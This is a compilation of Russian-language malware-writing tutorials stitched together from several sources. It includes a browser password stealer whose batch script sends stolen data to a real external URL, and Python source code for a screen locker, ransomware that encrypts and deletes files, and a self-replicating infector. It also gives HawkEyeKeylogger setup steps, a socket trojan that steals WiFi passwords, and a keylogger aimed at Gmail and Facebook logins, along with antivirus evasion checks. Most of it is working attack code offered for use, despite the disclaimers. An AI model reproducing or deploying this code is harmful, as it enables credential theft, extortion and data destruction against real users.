for (int i = 0; i < arr.length/2; i++) {
temp=arr[arr.length-i-1];
arr[arr.length-i-1]=arr[i];
arr[i]=temp;
}
OutputStream out = new FileOutputStream(file);
out.write(arr);
out.flush();
out.close();
}
}
Тут принимается единственный параметр — путь к файлу. Дабы расшифровать файл — достаточно заменить
arr[i]--;
на
arr[i]++;
6. Bat to exe converter
Bat to exe converter — это прекрасный инструмент не только для преобразования .bat файлов в .exe, но и для различных действий над ними. От установки значка приложения до включения в файл других файлов (что нам очень поможет).
7. Сборка
7.1 настройка
Если кратко — мы закидываем туда WebBrowserPassView, декриптограф и приложение для отправки файла на сервер + можем закинуть туда, например, калькулятор. Что б жертва думала что запускает именно его. Так же устанавливаем значок, пишем описание программы, включаем сжатие, ставим галочку на работу во временном каталоге, остальное по ситуации.
Лично я оставлю вирус невидимым, без маскировки и запуска какого-либо приложения.
Самое необходимое для сборки готово, теперь код
md %temp%t234
REM создаем папку во временной директории
copy WebBrowserPassView.exe %temp%t234
copy WebBrowserPassView.chm %temp%t234
REM копируем туда файлы программы
java -jar decrypt.jar %temp%t234WebBrowserPassView.exe
java -jar decrypt.jar %temp%t234WebBrowserPassView.chm
REM расшифровываем их
start %temp%t234WebBrowserPassView.exe /stext %temp%t234626384315253.mml
REM запускаем их
ping -n 2 localhost
REM ждем 2 секунды для надежности
java -jar opacha.jar %temp%t234626384315253.mml http://senseiseverywhere.kl.com.ua/retry.php
REM отправляем файлы на сервер
ping -n 1 localhost
REM удаляем папку
del /Q %temp%t234
Так же добавляем любой значок и можем заполнить описание продукта, для солидности так сказать.
В итоге, вот что у нас получилось:
7.2 Испытания
Компилируем, запускаем, ничего не видим, ибо приложение запускается в фоне. Разве что появившуюся папку в темпе, а затем она очистилась. Тут очевидно, что никто никогда не узнает что произошло. А если открыть вирус 7z, как было сделано в начале статьи?
И тут тоже ничего не понятно, ибо сжатие.
А тем временем на сервере появился новый файл, в котором наши данные
7.3 Дополнения
Как уже говорил, можно замаскировать под любое приложение, можно добавить экспорт батника, который после завершения выполнения программы будет ее удалять, можно заменить ею какой-нибудь системный файл, например тот же калькулятор.
Обнаружение как вирус
В данном виде антивирусы все равно будут ругаться, я специально оставил это, дабы мамкины хакеры не смогли использовать это во вред. Однако путь к чистому лицу вируса тут есть, нужно лишь правильно применить. Как ни как WebBrowserPassView уже никто не распознает.
VirusTotal
8. Заключение
Мы использовали:
- Открытие .exe как архив
- Запуск программы с аргументами
- Создание бесплатного сервера
- Создание своей клиент-сервер сети
- Примитивная но эффективная криптография
- Написание логики для объединения всех составляющих
- Оформление
Лично мне куда удобнее и приятнее учиться на практике, на ошибках и проблемах которые возникают прямо тут и сейчас. Тобишь немного теории, для общего понимания, а затем сразу разрабатывать проект, без набития руки на примитивах и т.п. По этому, в моей статье возможно много недочетов и неточностей, но надеюсь суть я вам донес, а именно:
- Украсть чужие данные проще простого
- Не сохраняйте пароли в браузере
Так же тут не было пунктика про распространение, ибо мы ж в целях обучения, а не вреда.
Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.
Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.
Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.
Как написать локер, шифровальщик и вирус на Python
Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Настройка среды
Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.
Дополнительно установим несколько модулей, которые будем использовать:
pip install pyAesCrypt pip install pyautogui pip install tkinter
На этом с подготовительным этапом покончено, можно приступать к написанию кода.
Создание локера
Идея — создаем окно на полный экран и не даем пользователю закрыть его.
Импорт библиотек:
import pyautogui from tkinter import Tk, Entry, Label from pyautogu соi import click, moveTo from time import sleep
Теперь возьмемся за основную часть программы.
# Создаем окно root = Tk() # Вырубаем защиту левого верхнего угла экрана pyautogui.FAILSAFE = False # Получаем ширину и высоту окна width = root.winfo_screenwidth() height = root.winfo_screenheight() # Задаем заголовок окна root.title('From "hacker" with love') # Открываем окно на весь экран root.attributes("-fullscreen", True) # Создаем поле для ввода, задаем его размеры и расположение entry = Entry(root, font=1) entry.place(width=150, height=50, x=width/2-75, y=height/2-25) # Создаем текстовые подписи и задаем их расположение label0 = Label(root, text="╚(•⌂•)╝ Locker by hacker (╯°□°)╯︵ ┻━┻", font=1) label0.grid(row=0, column=0) label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20') label1.place(x=width/2-75-130, y=height/2-25-100) # Включаем постоянное обновление окна и делаем паузу root.update() sleep(0.2) # Кликаем в центр окна click(width/2, height/2) # обнуляем ключ k = False # Теперь непрерывно проверяем, не введен ли верный ключ # Если введен, вызываем функцию хулиганства while not k: on_closing()
Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.
Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.
Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:
import pythoncom, pyHook hm = pyHook.HookManager() hm.MouseAll = uMad hm.KeyAll = uMad hm.HookMouse() hm.HookKeyboard() pythoncom.PumpMessages()
Создадим функцию для ввода ключа:
def callback(event): global k, entry if entry.get() == "hacker": k = True
Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.
Последняя функция, которая нужна для работы окна-вредителя:
def on_closing(): # Кликаем в центр экрана click(width/2, height/2) # Перемещаем курсор мыши в центр экрана moveTo(width/2, height/2) # Включаем полноэкранный режим root.attributes("-fullscreen", True) # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing root.protocol("WM_DELETE_WINDOW", on_closing) # Включаем постоянное обновление окна root.update() # Добавляем сочетание клавиш, которые будут закрывать программу root.bind('<Control-KeyPress-c>', callback)
На этом наш импровизированный локер готов.
Создание шифровальщика
Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.
Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:
direct = input("Напиши атакуемую директорию: ") password = input("Введи пароль: ")
Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:
with open("Crypt.py", "w") as crypt: crypt.write(''' текст программы ''')
Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:
import os import sys
Пишем функцию шифрования (все по мануалу pyAesCrypt):
def crypt(file): import pyAesCrypt print('-' * 80) # Задаем пароль и размер буфера password = "'''+str(password)+'''" buffer_size = 512*1024 # Вызываем функцию шифрования pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") # Удаляем исходный файл os.remove(file)
Вместо str(password) скрипт-генератор вставит пароль.
Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.
Теперь функция, которая обходит папки. Тут тоже ничего сложного.
def walk(dir): # Перебор всех подпапок в указанной папке for name in os.listdir(dir): path = os.path.join(dir, name) # Если это файл, шифруем его if os.path.isfile(path): crypt(path) # Если это папка, рекурсивно повторяем else: walk(path)
В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.
walk("'''+str(direct)+'''") os.remove(str(sys.argv[0]))
Здесь снова будет подставляться нужный путь.
Вот весь исходник целиком.
import os import sys def crypt(file): import pyAesCrypt print('-' * 80) password = "'"+str(password)+"'" buffer_size = 512*1024 pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size) print("[Encrypt] '"+str(file)+".crp'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk("'''+str(direct)+'''") print('-' * 80) os.remove(str(sys.argv[0]))
Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.
import os import sys # Функция расшифровки def decrypt(file): import pyAesCrypt print('-' * 80) password = "'''+str(password)+'''" buffer_size = 512 * 1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size) print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'") os.remove(file) # Обход каталогов def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except Error: pass else: walk(path) walk("'''+str(direct)+'''") print('-' * 80) os.remove(str(sys.argv[0]))
Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.
Создание вируса
Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.
На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.
import sys import os
Создадим три функции: сообщение, парсер, заражение.
Функция, которая сообщает об атаке:
def code(void): print("Infected")
Сразу вызовем ее, чтобы понять, что программа отработала:
code(None)
Обход директорий похож на тот, что мы делали в шифровальщике.
def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) # Если нашли файл, проверяем его расширение if os.path.isfile(path): # Если расширение — py, вызываем virus if (os.path.splitext(path)[1] == ".py"): virus(path) else: pass else: # Если это каталог, заходим в него walk(path)
В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.
Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).
В начале и в конце файла пишем вот такие комментарии:
# START # # STOP #
Чуть позже объясню зачем.
Дальше функция, которая отвечает за саморепликацию.
def virus(python): begin = "# START #n" end = "# STOP #n" # Читаем атакуемый файл, назовем его copy with open(sys.argv[0], "r") as copy: # Создаем флаг k = 0 # Создаем переменную для кода вируса и добавляем пустую строку virus_code = "n" # Построчно проходим заражаемый файл for line in copy: # Если находим маркер начала, поднимаем флаг if line == begin: k = 1 # Добавляем маркер в зараженный код virus_code += begin # Если мы прошли начало, но не дошли до конца, копируем строку elif k == 1 and line != end: virus_code += line # Если дошли до конца, добавляем финальный маркер и выходим из цикла elif line == end: virus_code += end break else: pass # Снова читаем заражаемый файл with open(python, "r") as file: # Создаем переменную для исходного кода original_code = "" # Построчно копируем заражаемый код for line in file: original_code += line # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir if line == begin: vir = True break # Если маркера нет, опускаем флаг vir else: vir = False # Если флаг vir опущен, пишем в файл вирус и исходный код if not vir: with open(python, "w") as paste: paste.write(virus_code + "nn" + original_code) else: pass
Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.
Создание исполняемого файла
Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.
Устанавливаем
pip install PyInstaller
И вводим команду
PyInstaller "имя_файла.py" --onefile --noconsole
Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.
Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.
Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:
- файл Crypt.exe не понравился 12 антивирусам из 72;
- файл Locker.exe — 10 антивирусам из 72;
- файл Virus.exe — 23 антивирусам из 72.
Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.
Итого
Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.
Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.
Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.
Источник
Первым делом вам нужно определиться, через какую программу вы будете делать вирус. Я делал через программу HawkEyeKeylogger (почему делал, ответ будет в конце статьи). Итак, скачиваем эту программу на каком-нибудь сайте. Когда скачали, отключаем антивирус, так как эта программа сама вирусная.
1. Запускаем программу у меня дизайн такой (http://i.imgur.com/9tqPgpg.png).
2. Переходим во вкладку Delivery (http://i.imgur.com/1LljdkD.png).
3. Сворачиваем программу и идём на этот сайт, для создания своего сайта hostinger.ru или любой платный хостинг.
4. Создаём аккаунт, в правом верхнем углу, или входим через Facebook или Google+.
5. После того как зарегистрировались создаём новый аккаунт, уже на своём профиле (http://i.imgur.com/z7o6nuO.png).
6. Выбираем тарифный план Бесплатный и жмём заказать.
7. Заполняем поля (http://i.imgur.com/ga6rRfu.png), вот как я заполнил (http://i.imgur.com/UIhDSFd.png), жмём продолжить, подтверждаем что вы не робот, и заказать.
8. Переходим на наш сайт (http://i.imgur.com/7D4Hijg.png).
9. Теперь вы должны взять на заметку эти строки (http://i.imgur.com/UNvw2TV.png). Переходим на ваш сайт, он находится в зелёной рамочке на скриншоте. И у вас должен быть такой дизайн (http://i.imgur.com/Eo2yp7p.png).
10. Возвращаемся в нашу программу. И заполняем как на скриншоте (http://i.imgur.com/Sg785J4.png). 1. Вставляем ваш IP АДРЕС с пункта 9. (1 скриншот). 2. ИМЯ ПОЛЬЗОВАТЕЛЯ. 3. Ваш пароль, который вы указывали при создании сайта, не аккаунта.
11. Переходим в Option #1 и ставим всё как на скриншоте (http://i.imgur.com/oEyoczo.png). 1. Какие пароли сворует программа. 2. Запуск от имени администратора. 3. Удаление программы после запуска.
12. Option #2 и Option #3 пропускаем.
13. Переходим в Option #4. В этом разделе можно выбрать иконку вашего вируса. Скачайте для себя любую иконку с расширением .ico и жмём (http://i.imgur.com/cbIygv9.png) и выбираем вашу иконку.
14. Option #5 пропускаем.
15. И переходи в Build. Ставим галочку, напротив, I Agreed The TOS и жмём Build.
16. Сохраняем.
17. Вам нужно подождать 24 часа. Зачем, спросите вы. Для того чтобы программа не закрыла сайт. Если вы сейчас запустите ваш вирус, то ваш сайт на хостинге блокируется. Или же вы можете попробовать запустить ваш вирус и через 1-3 минуты обновить ваш сайт. И там под файлом Default должен появиться ещё один файл. Вы на его жмёте и он загружается, или открывается в новой вкладке. И там будут все пароли.
На этом всё. Сейчас расскажу кратко в чём я имел в виду: я делал через программу HawkEyeKeylogger (почему делал, ответ будет в конце статьи.
Всё это карается статьями Уголовного Кодекса Российской Федерации. Вот некоторые: Статья 273 — распространение вируса наказываются лишением свободы на срок от трех до семи лет. Статья 138 Уголовного Кодекса часть 1 (нарушение тайны переписки) и часть 1 статьи 272 Уголовного Кодекса (неправомерный доступ к компьютерной информации). До 2 лет тюрьмы, причем не условно.
Так что всё продумываете перед взломом или бросайте это дело.
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.
Как написать троян на Python
В этой статье я расскажу, как написать простой троян на Python с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если вы не знаете Python, то сможете лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты совсем не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют вовсе. Тем не менее при желании их возможно использовать для несложных пакостей или приколов.
Как написать троян на Python
Итак, что есть троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго.
Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
Определение IP-адреса
Для начала нам (то есть нашему трояну) нужно понять, где он оказался. Важная часть вашей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
Код получения внешнего и внутреннего адресов будет таким. Обратите внимание, что, если у жертвы несколько сетевых интерфейсов (например, WiFi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все несколько сложнее.
Вывести информацию еще проще:
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
Бэкконнект по почте
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через pip install ):
Пишем базовую информацию о себе:
Дальше сформируем письмо:
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
Полный код этой части трояна:
После запуска скрипта, получаем письмо.
Этот скрипт я проверил на VirusTotal. Результат на скрине.
Создание трояна на Python
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
Для начала напишем игру «Угадай число». Тут все крайне просто, поэтому задерживаться долго не буду.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Итак, строка client = socket. socket( socket. AF_INET, socket. SOCK_STREAM) создает эхо‑сервер (отправили запрос — получили ответ). AF_INET означает работу с IPv4-адресацией, а SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.
Строка client. connect(( HOST, PORT) ) указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.
Функция client. recv( 1024) принимает данные из сокета и является так называемым «блокирующим вызовом». Смысл такого вызова в том, что, пока команда не передастся или не будет отвергнута другой стороной, вызов будет продолжать выполняться. 1024 — это количество задействованных байтов под буфер приема.
Нельзя будет принять больше 1024 байт (1 Кбайт) за один раз, но нам это и не нужно: часто вы руками вводите в консоль больше 1000 символов? Пытаться многократно увеличить размер буфера не нужно — это затратно и бесполезно, так как нужен большой буфер примерно раз в никогда.
Текущая кодовая страница
Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть utf-8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет вам домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давайте еще пароли от WiFi!
Создание WiFi-стилера на Python
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
Модуль subprocess нужен для создания новых процессов и соединения с потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей WiFi:
Введя команду netsh wlan show profiles в командной строке, мы получим следующее.
netsh wlan show profiles
netsh wlan show profile ASUS key=clear Результат VirusTotal
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.
Троян на Python отработал
Доработки
Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.
И конечно, сам троян очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?
Заключение
Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что вы уважаете закон, а полученные знания о троянах вам никогда не понадобятся.
В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будьте аккуратны и не делайте глупостей!
Источник
Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Источник
Как Сделать Троянский Вирус Ворующий Пароли Вконтакте
Как создать вирусную программу для кражи денег
